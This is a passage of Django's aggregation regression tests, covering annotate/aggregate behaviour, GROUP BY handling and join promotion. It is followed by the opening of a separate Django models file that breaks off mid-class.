            {'number': 1132, 'select': 1132}
        )

        # Regression for #10064: select_related() plays nice with aggregates
        obj = Book.objects.select_related('publisher').annotate(
            num_authors=Count('authors')).values().get(isbn='013790395')
        self.assertEqual(obj, {
            'contact_id': self.a8.id,
            'id': self.b5.id,
            'isbn': '013790395',
            'name': 'Artificial Intelligence: A Modern Approach',
            'num_authors': 2,
            'pages': 1132,
            'price': Decimal("82.8"),
            'pubdate': datetime.date(1995, 1, 15),
            'publisher_id': self.p3.id,
            'rating': 4.0,
        })

        # Regression for #10010: exclude on an aggregate field is correctly
        # negated
        self.assertEqual(
            len(Book.objects.annotate(num_authors=Count('authors'))),
            6
        )
        self.assertEqual(
            len(Book.objects.annotate(num_authors=Count('authors')).filter(num_authors__gt=2)),
            1
        )
        self.assertEqual(
            len(Book.objects.annotate(num_authors=Count('authors')).exclude(num_authors__gt=2)),
            5
        )

        self.assertEqual(
            len(
                Book.objects
                .annotate(num_authors=Count('authors'))
                .filter(num_authors__lt=3)
                .exclude(num_authors__lt=2)
            ),
            2
        )
        self.assertEqual(
            len(
                Book.objects
                .annotate(num_authors=Count('authors'))
                .exclude(num_authors__lt=2)
                .filter(num_authors__lt=3)
            ),
            2
        )

    def test_aggregate_fexpr(self):
        # Aggregates can be used with F() expressions
        # ... where the F() is pushed into the HAVING clause
        qs = (
            Publisher.objects
            .annotate(num_books=Count('book'))
            .filter(num_books__lt=F('num_awards') / 2)
            .order_by('name')
            .values('name', 'num_books', 'num_awards')
        )
        self.assertQuerysetEqual(
            qs, [
                {'num_books': 1, 'name': 'Morgan Kaufmann', 'num_awards': 9},
                {'num_books': 2, 'name': 'Prentice Hall', 'num_awards': 7}
            ],
            lambda p: p,
        )

        qs = (
            Publisher.objects
            .annotate(num_books=Count('book'))
            .exclude(num_books__lt=F('num_awards') / 2)
            .order_by('name')
            .values('name', 'num_books', 'num_awards')
        )
        self.assertQuerysetEqual(
            qs, [
                {'num_books': 2, 'name': 'Apress', 'num_awards': 3},
                {'num_books': 0, 'name': "Jonno's House of Books", 'num_awards': 0},
                {'num_books': 1, 'name': 'Sams', 'num_awards': 1}
            ],
            lambda p: p,
        )

        # ... and where the F() references an aggregate
        qs = (
            Publisher.objects
            .annotate(num_books=Count('book'))
            .filter(num_awards__gt=2 * F('num_books'))
            .order_by('name')
            .values('name', 'num_books', 'num_awards')
        )
        self.assertQuerysetEqual(
            qs, [
                {'num_books': 1, 'name': 'Morgan Kaufmann', 'num_awards': 9},
                {'num_books': 2, 'name': 'Prentice Hall', 'num_awards': 7}
            ],
            lambda p: p,
        )

        qs = (
            Publisher.objects
            .annotate(num_books=Count('book'))
            .exclude(num_books__lt=F('num_awards') / 2)
            .order_by('name')
            .values('name', 'num_books', 'num_awards')
        )
        self.assertQuerysetEqual(
            qs, [
                {'num_books': 2, 'name': 'Apress', 'num_awards': 3},
                {'num_books': 0, 'name': "Jonno's House of Books", 'num_awards': 0},
                {'num_books': 1, 'name': 'Sams', 'num_awards': 1}
            ],
            lambda p: p,
        )

    def test_db_col_table(self):
        # Tests on fields with non-default table and column names.
        qs = (
            Clues.objects
            .values('EntryID__Entry')
            .annotate(Appearances=Count('EntryID'), Distinct_Clues=Count('Clue', distinct=True))
        )
        self.assertQuerysetEqual(qs, [])

        qs = Entries.objects.annotate(clue_count=Count('clues__ID'))
        self.assertQuerysetEqual(qs, [])

    def test_boolean_conversion(self):
        # Aggregates mixed up ordering of columns for backend's convert_values
        # method. Refs #21126.
        e = Entries.objects.create(Entry='foo')
        c = Clues.objects.create(EntryID=e, Clue='bar')
        qs = Clues.objects.select_related('EntryID').annotate(Count('ID'))
        self.assertQuerysetEqual(
            qs, [c], lambda x: x)
        self.assertEqual(qs[0].EntryID, e)
        self.assertIs(qs[0].EntryID.Exclude, False)

    def test_empty(self):
        # Regression for #10089: Check handling of empty result sets with
        # aggregates
        self.assertEqual(
            Book.objects.filter(id__in=[]).count(),
            0
        )

        vals = (
            Book.objects
            .filter(id__in=[])
            .aggregate(
                num_authors=Count('authors'),
                avg_authors=Avg('authors'),
                max_authors=Max('authors'),
                max_price=Max('price'),
                max_rating=Max('rating'),
            )
        )
        self.assertEqual(
            vals,
            {'max_authors': None, 'max_rating': None, 'num_authors': 0, 'avg_authors': None, 'max_price': None}
        )

        qs = (
            Publisher.objects
            .filter(name="Jonno's House of Books")
            .annotate(
                num_authors=Count('book__authors'),
                avg_authors=Avg('book__authors'),
                max_authors=Max('book__authors'),
                max_price=Max('book__price'),
                max_rating=Max('book__rating'),
            ).values()
        )
        self.assertQuerysetEqual(
            qs,
            [{
                'max_authors': None,
                'name': "Jonno's House of Books",
                'num_awards': 0,
                'max_price': None,
                'num_authors': 0,
                'max_rating': None,
                'id': self.p5.id,
                'avg_authors': None,
            }],
            lambda p: p
        )

    def test_more_more(self):
        # Regression for #10113 - Fields mentioned in order_by() must be
        # included in the GROUP BY. This only becomes a problem when the
        # order_by introduces a new join.
        self.assertQuerysetEqual(
            Book.objects.annotate(num_authors=Count('authors')).order_by('publisher__name', 'name'), [
                "Practical Django Projects",
                "The Definitive Guide to Django: Web Development Done Right",
                "Paradigms of Artificial Intelligence Programming: Case Studies in Common Lisp",
                "Artificial Intelligence: A Modern Approach",
                "Python Web Development with Django",
                "Sams Teach Yourself Django in 24 Hours",
            ],
            lambda b: b.name
        )

        # Regression for #10127 - Empty select_related() works with annotate
        qs = Book.objects.filter(rating__lt=4.5).select_related().annotate(Avg('authors__age'))
        self.assertQuerysetEqual(
            qs,
            [
                ('Artificial Intelligence: A Modern Approach', 51.5, 'Prentice Hall', 'Peter Norvig'),
                ('Practical Django Projects', 29.0, 'Apress', 'James Bennett'),
                (
                    'Python Web Development with Django',
                    Approximate(30.333, places=2),
                    'Prentice Hall',
                    'Jeffrey Forcier',
                ),
                ('Sams Teach Yourself Django in 24 Hours', 45.0, 'Sams', 'Brad Dayley')
            ],
            lambda b: (b.name, b.authors__age__avg, b.publisher.name, b.contact.name)
        )

        # Regression for #10132 - If the values() clause only mentioned extra
        # (select=) columns, those columns are used for grouping
        qs = Book.objects.extra(select={'pub': 'publisher_id'}).values('pub').annotate(Count('id')).order_by('pub')
        self.assertQuerysetEqual(
            qs, [
                {'pub': self.b1.id, 'id__count': 2},
                {'pub': self.b2.id, 'id__count': 1},
                {'pub': self.b3.id, 'id__count': 2},
                {'pub': self.b4.id, 'id__count': 1}
            ],
            lambda b: b
        )

        qs = (
            Book.objects
            .extra(select={'pub': 'publisher_id', 'foo': 'pages'})
            .values('pub')
            .annotate(Count('id'))
            .order_by('pub')
        )
        self.assertQuerysetEqual(
            qs, [
                {'pub': self.p1.id, 'id__count': 2},
                {'pub': self.p2.id, 'id__count': 1},
                {'pub': self.p3.id, 'id__count': 2},
                {'pub': self.p4.id, 'id__count': 1}
            ],
            lambda b: b
        )

        # Regression for #10182 - Queries with aggregate calls are correctly
        # realiased when used in a subquery
        ids = (
            Book.objects
            .filter(pages__gt=100)
            .annotate(n_authors=Count('authors'))
            .filter(n_authors__gt=2)
            .order_by('n_authors')
        )
        self.assertQuerysetEqual(
            Book.objects.filter(id__in=ids), [
                "Python Web Development with Django",
            ],
            lambda b: b.name
        )

        # Regression for #15709 - Ensure each group_by field only exists once
        # per query
        qstr = str(Book.objects.values('publisher').annotate(max_pages=Max('pages')).order_by().query)
        # Check that there is just one GROUP BY clause (zero commas means at
        # most one clause)
        self.assertEqual(qstr[qstr.index('GROUP BY'):].count(', '), 0)

    def test_duplicate_alias(self):
        # Regression for #11256 - duplicating a default alias raises ValueError.
        with self.assertRaises(ValueError):
            Book.objects.all().annotate(Avg('authors__age'), authors__age__avg=Avg('authors__age'))

    def test_field_name_conflict(self):
        # Regression for #11256 - providing an aggregate name
        # that conflicts with a field name on the model raises ValueError
        with self.assertRaises(ValueError):
            Author.objects.annotate(age=Avg('friends__age'))

    def test_m2m_name_conflict(self):
        # Regression for #11256 - providing an aggregate name
        # that conflicts with an m2m name on the model raises ValueError
        with self.assertRaises(ValueError):
            Author.objects.annotate(friends=Count('friends'))

    def test_values_queryset_non_conflict(self):
        # Regression for #14707 -- If you're using a values query set, some potential conflicts are avoided.

        # age is a field on Author, so it shouldn't be allowed as an aggregate.
        # But age isn't included in values(), so it is.
        results = Author.objects.values('name').annotate(age=Count('book_contact_set')).order_by('name')
        self.assertEqual(len(results), 9)
        self.assertEqual(results[0]['name'], 'Adrian Holovaty')
        self.assertEqual(results[0]['age'], 1)

        # Same problem, but aggregating over m2m fields
        results = Author.objects.values('name').annotate(age=Avg('friends__age')).order_by('name')
        self.assertEqual(len(results), 9)
        self.assertEqual(results[0]['name'], 'Adrian Holovaty')
        self.assertEqual(results[0]['age'], 32.0)

        # Same problem, but colliding with an m2m field
        results = Author.objects.values('name').annotate(friends=Count('friends')).order_by('name')
        self.assertEqual(len(results), 9)
        self.assertEqual(results[0]['name'], 'Adrian Holovaty')
        self.assertEqual(results[0]['friends'], 2)

    def test_reverse_relation_name_conflict(self):
        # Regression for #11256 - providing an aggregate name
        # that conflicts with a reverse-related name on the model raises ValueError
        with self.assertRaises(ValueError):
            Author.objects.annotate(book_contact_set=Avg('friends__age'))

    def test_pickle(self):
        # Regression for #10197 -- Queries with aggregates can be pickled.
        # First check that pickling is possible at all. No crash = success
        qs = Book.objects.annotate(num_authors=Count('authors'))
        pickle.dumps(qs)

        # Then check that the round trip works.
        query = qs.query.get_compiler(qs.db).as_sql()[0]
        qs2 = pickle.loads(pickle.dumps(qs))
        self.assertEqual(
            qs2.query.get_compiler(qs2.db).as_sql()[0],
            query,
        )

    def test_more_more_more(self):
        # Regression for #10199 - Aggregate calls clone the original query so
        # the original query can still be used
        books = Book.objects.all()
        books.aggregate(Avg("authors__age"))
        self.assertQuerysetEqual(
            books.all(), [
                'Artificial Intelligence: A Modern Approach',
                'Paradigms of Artificial Intelligence Programming: Case Studies in Common Lisp',
                'Practical Django Projects',
                'Python Web Development with Django',
                'Sams Teach Yourself Django in 24 Hours',
                'The Definitive Guide to Django: Web Development Done Right'
            ],
            lambda b: b.name
        )

        # Regression for #10248 - Annotations work with dates()
        qs = Book.objects.annotate(num_authors=Count('authors')).filter(num_authors=2).dates('pubdate', 'day')
        self.assertQuerysetEqual(
            qs, [
                datetime.date(1995, 1, 15),
                datetime.date(2007, 12, 6),
            ],
            lambda b: b
        )

        # Regression for #10290 - extra selects with parameters can be used for
        # grouping.
        qs = (
            Book.objects
            .annotate(mean_auth_age=Avg('authors__age'))
            .extra(select={'sheets': '(pages + %s) / %s'}, select_params=[1, 2])
            .order_by('sheets')
            .values('sheets')
        )
        self.assertQuerysetEqual(
            qs, [
                150,
                175,
                224,
                264,
                473,
                566
            ],
            lambda b: int(b["sheets"])
        )

        # Regression for 10425 - annotations don't get in the way of a count()
        # clause
        self.assertEqual(
            Book.objects.values('publisher').annotate(Count('publisher')).count(),
            4
        )
        self.assertEqual(
            Book.objects.annotate(Count('publisher')).values('publisher').count(),
            6
        )

        # Note: intentionally no order_by(), that case needs tests, too.
        publishers = Publisher.objects.filter(id__in=[1, 2])
        self.assertEqual(
            sorted(p.name for p in publishers),
            [
                "Apress",
                "Sams"
            ]
        )

        publishers = publishers.annotate(n_books=Count("book"))
        sorted_publishers = sorted(publishers, key=lambda x: x.name)
        self.assertEqual(
            sorted_publishers[0].n_books,
            2
        )
        self.assertEqual(
            sorted_publishers[1].n_books,
            1
        )

        self.assertEqual(
            sorted(p.name for p in publishers),
            [
                "Apress",
                "Sams"
            ]
        )

        books = Book.objects.filter(publisher__in=publishers)
        self.assertQuerysetEqual(
            books, [
                "Practical Django Projects",
                "Sams Teach Yourself Django in 24 Hours",
                "The Definitive Guide to Django: Web Development Done Right",
            ],
            lambda b: b.name
        )
        self.assertEqual(
            sorted(p.name for p in publishers),
            [
                "Apress",
                "Sams"
            ]
        )

        # Regression for 10666 - inherited fields work with annotations and
        # aggregations
        self.assertEqual(
            HardbackBook.objects.aggregate(n_pages=Sum('book_ptr__pages')),
            {'n_pages': 2078}
        )

        self.assertEqual(
            HardbackBook.objects.aggregate(n_pages=Sum('pages')),
            {'n_pages': 2078},
        )

        qs = HardbackBook.objects.annotate(n_authors=Count('book_ptr__authors')).values('name', 'n_authors')
        self.assertQuerysetEqual(
            qs,
            [
                {'n_authors': 2, 'name': 'Artificial Intelligence: A Modern Approach'},
                {
                    'n_authors': 1,
                    'name': 'Paradigms of Artificial Intelligence Programming: Case Studies in Common Lisp'
                }
            ],
            lambda h: h
        )

        qs = HardbackBook.objects.annotate(n_authors=Count('authors')).values('name', 'n_authors')
        self.assertQuerysetEqual(
            qs,
            [
                {'n_authors': 2, 'name': 'Artificial Intelligence: A Modern Approach'},
                {
                    'n_authors': 1,
                    'name': 'Paradigms of Artificial Intelligence Programming: Case Studies in Common Lisp'
                }
            ],
            lambda h: h,
        )

        # Regression for #10766 - Shouldn't be able to reference an aggregate
        # fields in an aggregate() call.
        with self.assertRaises(FieldError):
            Book.objects.annotate(mean_age=Avg('authors__age')).annotate(Avg('mean_age'))

    def test_empty_filter_count(self):
        self.assertEqual(
            Author.objects.filter(id__in=[]).annotate(Count("friends")).count(),
            0
        )

    def test_empty_filter_aggregate(self):
        self.assertEqual(
            Author.objects.filter(id__in=[]).annotate(Count("friends")).aggregate(Count("pk")),
            {"pk__count": None}
        )

    def test_none_call_before_aggregate(self):
        # Regression for #11789
        self.assertEqual(
            Author.objects.none().aggregate(Avg('age')),
            {'age__avg': None}
        )

    def test_annotate_and_join(self):
        self.assertEqual(
            Author.objects.annotate(c=Count("friends__name")).exclude(friends__name="Joe").count(),
            Author.objects.count()
        )

    def test_f_expression_annotation(self):
        # Books with less than 200 pages per author.
        qs = Book.objects.values("name").annotate(
            n_authors=Count("authors")
        ).filter(
            pages__lt=F("n_authors") * 200
        ).values_list("pk")
        self.assertQuerysetEqual(
            Book.objects.filter(pk__in=qs), [
                "Python Web Development with Django"
            ],
            attrgetter("name")
        )

    def test_values_annotate_values(self):
        qs = Book.objects.values("name").annotate(
            n_authors=Count("authors")
        ).values_list("pk", flat=True)
        self.assertEqual(list(qs), list(Book.objects.values_list("pk", flat=True)))

    def test_having_group_by(self):
        # Test that when a field occurs on the LHS of a HAVING clause that it
        # appears correctly in the GROUP BY clause
        qs = Book.objects.values_list("name").annotate(
            n_authors=Count("authors")
        ).filter(
            pages__gt=F("n_authors")
        ).values_list("name", flat=True)
        # Results should be the same, all Books have more pages than authors
        self.assertEqual(
            list(qs), list(Book.objects.values_list("name", flat=True))
        )

    def test_values_list_annotation_args_ordering(self):
        """
        Annotate *args ordering should be preserved in values_list results.
        **kwargs comes after *args.
        Regression test for #23659.
        """
        books = Book.objects.values_list("publisher__name").annotate(
            Count("id"), Avg("price"), Avg("authors__age"), avg_pgs=Avg("pages")
        ).order_by("-publisher__name")
        self.assertEqual(books[0], ('Sams', 1, 23.09, 45.0, 528.0))

    def test_annotation_disjunction(self):
        qs = Book.objects.annotate(n_authors=Count("authors")).filter(
            Q(n_authors=2) | Q(name="Python Web Development with Django")
        )
        self.assertQuerysetEqual(
            qs, [
                "Artificial Intelligence: A Modern Approach",
                "Python Web Development with Django",
                "The Definitive Guide to Django: Web Development Done Right",
            ],
            attrgetter("name")
        )

        qs = (
            Book.objects
            .annotate(n_authors=Count("authors"))
            .filter(
                Q(name="The Definitive Guide to Django: Web Development Done Right") |
                (Q(name="Artificial Intelligence: A Modern Approach") & Q(n_authors=3))
            )
        )
        self.assertQuerysetEqual(
            qs,
            [
                "The Definitive Guide to Django: Web Development Done Right",
            ],
            attrgetter("name")
        )

        qs = Publisher.objects.annotate(
            rating_sum=Sum("book__rating"),
            book_count=Count("book")
        ).filter(
            Q(rating_sum__gt=5.5) | Q(rating_sum__isnull=True)
        ).order_by('pk')
        self.assertQuerysetEqual(
            qs, [
                "Apress",
                "Prentice Hall",
                "Jonno's House of Books",
            ],
            attrgetter("name")
        )

        qs = Publisher.objects.annotate(
            rating_sum=Sum("book__rating"),
            book_count=Count("book")
        ).filter(
            Q(rating_sum__gt=F("book_count")) | Q(rating_sum=None)
        ).order_by("num_awards")
        self.assertQuerysetEqual(
            qs, [
                "Jonno's House of Books",
                "Sams",
                "Apress",
                "Prentice Hall",
                "Morgan Kaufmann"
            ],
            attrgetter("name")
        )

    def test_quoting_aggregate_order_by(self):
        qs = Book.objects.filter(
            name="Python Web Development with Django"
        ).annotate(
            authorCount=Count("authors")
        ).order_by("authorCount")
        self.assertQuerysetEqual(
            qs, [
                ("Python Web Development with Django", 3),
            ],
            lambda b: (b.name, b.authorCount)
        )

    @skipUnlessDBFeature('supports_stddev')
    def test_stddev(self):
        self.assertEqual(
            Book.objects.aggregate(StdDev('pages')),
            {'pages__stddev': Approximate(311.46, 1)}
        )

        self.assertEqual(
            Book.objects.aggregate(StdDev('rating')),
            {'rating__stddev': Approximate(0.60, 1)}
        )

        self.assertEqual(
            Book.objects.aggregate(StdDev('price')),
            {'price__stddev': Approximate(24.16, 2)}
        )

        self.assertEqual(
            Book.objects.aggregate(StdDev('pages', sample=True)),
            {'pages__stddev': Approximate(341.19, 2)}
        )

        self.assertEqual(
            Book.objects.aggregate(StdDev('rating', sample=True)),
            {'rating__stddev': Approximate(0.66, 2)}
        )

        self.assertEqual(
            Book.objects.aggregate(StdDev('price', sample=True)),
            {'price__stddev': Approximate(26.46, 1)}
        )

        self.assertEqual(
            Book.objects.aggregate(Variance('pages')),
            {'pages__variance': Approximate(97010.80, 1)}
        )

        self.assertEqual(
            Book.objects.aggregate(Variance('rating')),
            {'rating__variance': Approximate(0.36, 1)}
        )

        self.assertEqual(
            Book.objects.aggregate(Variance('price')),
            {'price__variance': Approximate(583.77, 1)}
        )

        self.assertEqual(
            Book.objects.aggregate(Variance('pages', sample=True)),
            {'pages__variance': Approximate(116412.96, 1)}
        )

        self.assertEqual(
            Book.objects.aggregate(Variance('rating', sample=True)),
            {'rating__variance': Approximate(0.44, 2)}
        )

        self.assertEqual(
            Book.objects.aggregate(Variance('price', sample=True)),
            {'price__variance': Approximate(700.53, 2)}
        )

    def test_filtering_by_annotation_name(self):
        # Regression test for #14476

        # The name of the explicitly provided annotation name in this case
        # poses no problem
        qs = Author.objects.annotate(book_cnt=Count('book')).filter(book_cnt=2).order_by('name')
        self.assertQuerysetEqual(
            qs,
            ['Peter Norvig'],
            lambda b: b.name
        )
        # Neither in this case
        qs = Author.objects.annotate(book_count=Count('book')).filter(book_count=2).order_by('name')
        self.assertQuerysetEqual(
            qs,
            ['Peter Norvig'],
            lambda b: b.name
        )
        # This case used to fail because the ORM couldn't resolve the
        # automatically generated annotation name `book__count`
        qs = Author.objects.annotate(Count('book')).filter(book__count=2).order_by('name')
        self.assertQuerysetEqual(
            qs,
            ['Peter Norvig'],
            lambda b: b.name
        )
        # Referencing the auto-generated name in an aggregate() also works.
        self.assertEqual(
            Author.objects.annotate(Count('book')).aggregate(Max('book__count')),
            {'book__count__max': 2}
        )

    def test_annotate_joins(self):
        """
        Test that the base table's join isn't promoted to LOUTER. This could
        cause the query generation to fail if there is an exclude() for fk-field
        in the query, too. Refs #19087.
        """
        qs = Book.objects.annotate(n=Count('pk'))
        self.assertIs(qs.query.alias_map['aggregation_regress_book'].join_type, None)
        # Check that the query executes without problems.
        self.assertEqual(len(qs.exclude(publisher=-1)), 6)

    @skipUnlessAnyDBFeature('allows_group_by_pk', 'allows_group_by_selected_pks')
    def test_aggregate_duplicate_columns(self):
        # Regression test for #17144

        results = Author.objects.annotate(num_contacts=Count('book_contact_set'))

        # There should only be one GROUP BY clause, for the `id` column.
        # `name` and `age` should not be grouped on.
        _, _, group_by = results.query.get_compiler(using='default').pre_sql_setup()
        self.assertEqual(len(group_by), 1)
        self.assertIn('id', group_by[0][0])
        self.assertNotIn('name', group_by[0][0])
        self.assertNotIn('age', group_by[0][0])

        # Ensure that we get correct results.
        self.assertEqual(
            [(a.name, a.num_contacts) for a in results.order_by('name')],
            [
                ('Adrian Holovaty', 1),
                ('Brad Dayley', 1),
                ('Jacob Kaplan-Moss', 0),
                ('James Bennett', 1),
                ('Jeffrey Forcier', 1),
                ('Paul Bissex', 0),
                ('Peter Norvig', 2),
                ('Stuart Russell', 0),
                ('Wesley J. Chun', 0),
            ]
        )

    @skipUnlessAnyDBFeature('allows_group_by_pk', 'allows_group_by_selected_pks')
    def test_aggregate_duplicate_columns_only(self):
        # Works with only() too.
        results = Author.objects.only('id', 'name').annotate(num_contacts=Count('book_contact_set'))
        _, _, grouping = results.query.get_compiler(using='default').pre_sql_setup()
        self.assertEqual(len(grouping), 1)
        self.assertIn('id', grouping[0][0])
        self.assertNotIn('name', grouping[0][0])
        self.assertNotIn('age', grouping[0][0])

        # Ensure that we get correct results.
        self.assertEqual(
            [(a.name, a.num_contacts) for a in results.order_by('name')],
            [
                ('Adrian Holovaty', 1),
                ('Brad Dayley', 1),
                ('Jacob Kaplan-Moss', 0),
                ('James Bennett', 1),
                ('Jeffrey Forcier', 1),
                ('Paul Bissex', 0),
                ('Peter Norvig', 2),
                ('Stuart Russell', 0),
                ('Wesley J. Chun', 0),
            ]
        )

    @skipUnlessAnyDBFeature('allows_group_by_pk', 'allows_group_by_selected_pks')
    def test_aggregate_duplicate_columns_select_related(self):
        # And select_related()
        results = Book.objects.select_related('contact').annotate(
            num_authors=Count('authors'))
        _, _, grouping = results.query.get_compiler(using='default').pre_sql_setup()
        # In the case of `group_by_selected_pks` we also group by contact.id because of the select_related.
        self.assertEqual(len(grouping), 1 if connection.features.allows_group_by_pk else 2)
        self.assertIn('id', grouping[0][0])
        self.assertNotIn('name', grouping[0][0])
        self.assertNotIn('contact', grouping[0][0])

        # Ensure that we get correct results.
        self.assertEqual(
            [(b.name, b.num_authors) for b in results.order_by('name')],
            [
                ('Artificial Intelligence: A Modern Approach', 2),
                ('Paradigms of Artificial Intelligence Programming: Case Studies in Common Lisp', 1),
                ('Practical Django Projects', 1),
                ('Python Web Development with Django', 3),
                ('Sams Teach Yourself Django in 24 Hours', 1),
                ('The Definitive Guide to Django: Web Development Done Right', 2)
            ]
        )

    def test_reverse_join_trimming(self):
        qs = Author.objects.annotate(Count('book_contact_set__contact'))
        self.assertIn(' JOIN ', str(qs.query))

    def test_aggregation_with_generic_reverse_relation(self):
        """
        Regression test for #10870:  Aggregates with joins ignore extra
        filters provided by setup_joins

        tests aggregations with generic reverse relations
        """
        django_book = Book.objects.get(name='Practical Django Projects')
        ItemTag.objects.create(
            object_id=django_book.id, tag='intermediate',
            content_type=ContentType.objects.get_for_model(django_book),
        )
        ItemTag.objects.create(
            object_id=django_book.id, tag='django',
            content_type=ContentType.objects.get_for_model(django_book),
        )
        # Assign a tag to model with same PK as the book above. If the JOIN
        # used in aggregation doesn't have content type as part of the
        # condition the annotation will also count the 'hi mom' tag for b.
        wmpk = WithManualPK.objects.create(id=django_book.pk)
        ItemTag.objects.create(
            object_id=wmpk.id, tag='hi mom',
            content_type=ContentType.objects.get_for_model(wmpk),
        )
        ai_book = Book.objects.get(name__startswith='Paradigms of Artificial Intelligence')
        ItemTag.objects.create(
            object_id=ai_book.id, tag='intermediate',
            content_type=ContentType.objects.get_for_model(ai_book),
        )

        self.assertEqual(Book.objects.aggregate(Count('tags')), {'tags__count': 3})
        results = Book.objects.annotate(Count('tags')).order_by('-tags__count', 'name')
        self.assertEqual(
            [(b.name, b.tags__count) for b in results],
            [
                ('Practical Django Projects', 2),
                ('Paradigms of Artificial Intelligence Programming: Case Studies in Common Lisp', 1),
                ('Artificial Intelligence: A Modern Approach', 0),
                ('Python Web Development with Django', 0),
                ('Sams Teach Yourself Django in 24 Hours', 0),
                ('The Definitive Guide to Django: Web Development Done Right', 0)
            ]
        )

    def test_negated_aggregation(self):
        expected_results = Author.objects.exclude(
            pk__in=Author.objects.annotate(book_cnt=Count('book')).filter(book_cnt=2)
        ).order_by('name')
        expected_results = [a.name for a in expected_results]
        qs = Author.objects.annotate(book_cnt=Count('book')).exclude(
            Q(book_cnt=2), Q(book_cnt=2)).order_by('name')
        self.assertQuerysetEqual(
            qs,
            expected_results,
            lambda b: b.name
        )
        expected_results = Author.objects.exclude(
            pk__in=Author.objects.annotate(book_cnt=Count('book')).filter(book_cnt=2)
        ).order_by('name')
        expected_results = [a.name for a in expected_results]
        qs = Author.objects.annotate(book_cnt=Count('book')).exclude(Q(book_cnt=2) | Q(book_cnt=2)).order_by('name')
        self.assertQuerysetEqual(
            qs,
            expected_results,
            lambda b: b.name
        )

    def test_name_filters(self):
        qs = Author.objects.annotate(Count('book')).filter(
            Q(book__count__exact=2) | Q(name='Adrian Holovaty')
        ).order_by('name')
        self.assertQuerysetEqual(
            qs,
            ['Adrian Holovaty', 'Peter Norvig'],
            lambda b: b.name
        )

    def test_name_expressions(self):
        # Test that aggregates are spotted correctly from F objects.
        # Note that Adrian's age is 34 in the fixtures, and he has one book
        # so both conditions match one author.
        qs = Author.objects.annotate(Count('book')).filter(
            Q(name='Peter Norvig') | Q(age=F('book__count') + 33)
        ).order_by('name')
        self.assertQuerysetEqual(
            qs,
            ['Adrian Holovaty', 'Peter Norvig'],
            lambda b: b.name
        )

    def test_ticket_11293(self):
        q1 = Q(price__gt=50)
        q2 = Q(authors__count__gt=1)
        query = Book.objects.annotate(Count('authors')).filter(
            q1 | q2).order_by('pk')
        self.assertQuerysetEqual(
            query, [1, 4, 5, 6],
            lambda b: b.pk)

    def test_ticket_11293_q_immutable(self):
        """
        Check that splitting a q object to parts for where/having doesn't alter
        the original q-object.
        """
        q1 = Q(isbn='')
        q2 = Q(authors__count__gt=1)
        query = Book.objects.annotate(Count('authors'))
        query.filter(q1 | q2)
        self.assertEqual(len(q2.children), 1)

    def test_fobj_group_by(self):
        """
        Check that an F() object referring to related column works correctly
        in group by.
        """
        qs = Book.objects.annotate(
            account=Count('authors')
        ).filter(
            account=F('publisher__num_awards')
        )
        self.assertQuerysetEqual(
            qs, ['Sams Teach Yourself Django in 24 Hours'],
            lambda b: b.name)

    def test_annotate_reserved_word(self):
        """
        Regression #18333 - Ensure annotated column name is properly quoted.
        """
        vals = Book.objects.annotate(select=Count('authors__id')).aggregate(Sum('select'), Avg('select'))
        self.assertEqual(vals, {
            'select__sum': 10,
            'select__avg': Approximate(1.666, places=2),
        })

    def test_annotate_on_relation(self):
        book = Book.objects.annotate(avg_price=Avg('price'), publisher_name=F('publisher__name')).get(pk=self.b1.pk)
        self.assertEqual(book.avg_price, 30.00)
        self.assertEqual(book.publisher_name, "Apress")

    def test_aggregate_on_relation(self):
        # A query with an existing annotation aggregation on a relation should
        # succeed.
        qs = Book.objects.annotate(avg_price=Avg('price')).aggregate(
            publisher_awards=Sum('publisher__num_awards')
        )
        self.assertEqual(qs['publisher_awards'], 30)

    def test_annotate_distinct_aggregate(self):
        # There are three books with rating of 4.0 and two of the books have
        # the same price. Hence, the distinct removes one rating of 4.0
        # from the results.
        vals1 = Book.objects.values('rating', 'price').distinct().aggregate(result=Sum('rating'))
        vals2 = Book.objects.aggregate(result=Sum('rating') - Value(4.0))
        self.assertEqual(vals1, vals2)


class JoinPromotionTests(TestCase):
    def test_ticket_21150(self):
        b = Bravo.objects.create()
        c = Charlie.objects.create(bravo=b)
        qs = Charlie.objects.select_related('alfa').annotate(Count('bravo__charlie'))
        self.assertQuerysetEqual(
            qs, [c], lambda x: x)
        self.assertIs(qs[0].alfa, None)
        a = Alfa.objects.create()
        c.alfa = a
        c.save()
        # Force re-evaluation
        qs = qs.all()
        self.assertQuerysetEqual(
            qs, [c], lambda x: x)
        self.assertEqual(qs[0].alfa, a)

    def test_existing_join_not_promoted(self):
        # No promotion for existing joins
        qs = Charlie.objects.filter(alfa__name__isnull=False).annotate(Count('alfa__name'))
        self.assertIn(' INNER JOIN ', str(qs.query))
        # Also, the existing join is unpromoted when doing filtering for already
        # promoted join.
        qs = Charlie.objects.annotate(Count('alfa__name')).filter(alfa__name__isnull=False)
        self.assertIn(' INNER JOIN ', str(qs.query))
        # But, as the join is nullable first use by annotate will be LOUTER
        qs = Charlie.objects.annotate(Count('alfa__name'))
        self.assertIn(' LEFT OUTER JOIN ', str(qs.query))

    def test_non_nullable_fk_not_promoted(self):
        qs = Book.objects.annotate(Count('contact__name'))
        self.assertIn(' INNER JOIN ', str(qs.query))


class SelfReferentialFKTests(TestCase):
    def test_ticket_24748(self):
        t1 = SelfRefFK.objects.create(name='t1')
        SelfRefFK.objects.create(name='t2', parent=t1)
        SelfRefFK.objects.create(name='t3', parent=t1)
        self.assertQuerysetEqual(
            SelfRefFK.objects.annotate(num_children=Count('children')).order_by('name'),
            [('t1', 2), ('t2', 0), ('t3', 0)],
            lambda x: (x.name, x.num_children)
        )






from django.db import models
from django.utils.encoding import python_2_unicode_compatible


class Event(models.Model):
    # Oracle can have problems with a column named "date"
    date = models.DateField(db_column="event_date")


class Parent(models.Model):
    name = models.CharField(max_length=128)


class Child(models.Model):
    parent = models.ForeignKey(Parent, models.SET_NULL, editable=False, null=True)
    name = models.CharField(max_length=30, blank=True)
    age = models.IntegerField(null=True, blank=True)


class Genre(models.Model):
    name = models.CharField(max_length=20)


class Band(models.Model):
    name = models.CharField(max_length=20)
    nr_of_members = models.PositiveIntegerField()
    genres = models.ManyToManyField(Genre)


@python_2_unicode_compatible
class Musician(models.Model):
    name = models.CharField(max_length=30)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Group(models.Model):
    name = models.CharField(max_length=30)
    members = models.ManyToManyField(Musician, through='Membership')

    def __str__(self):
        return self.name


class Concert(models.Model):
    name = models.CharField(max_length=30)
    group = models.ForeignKey(Group, models.CASCADE)


class Membership(models.Model):
    music = models.ForeignKey(Musician, models.CASCADE)
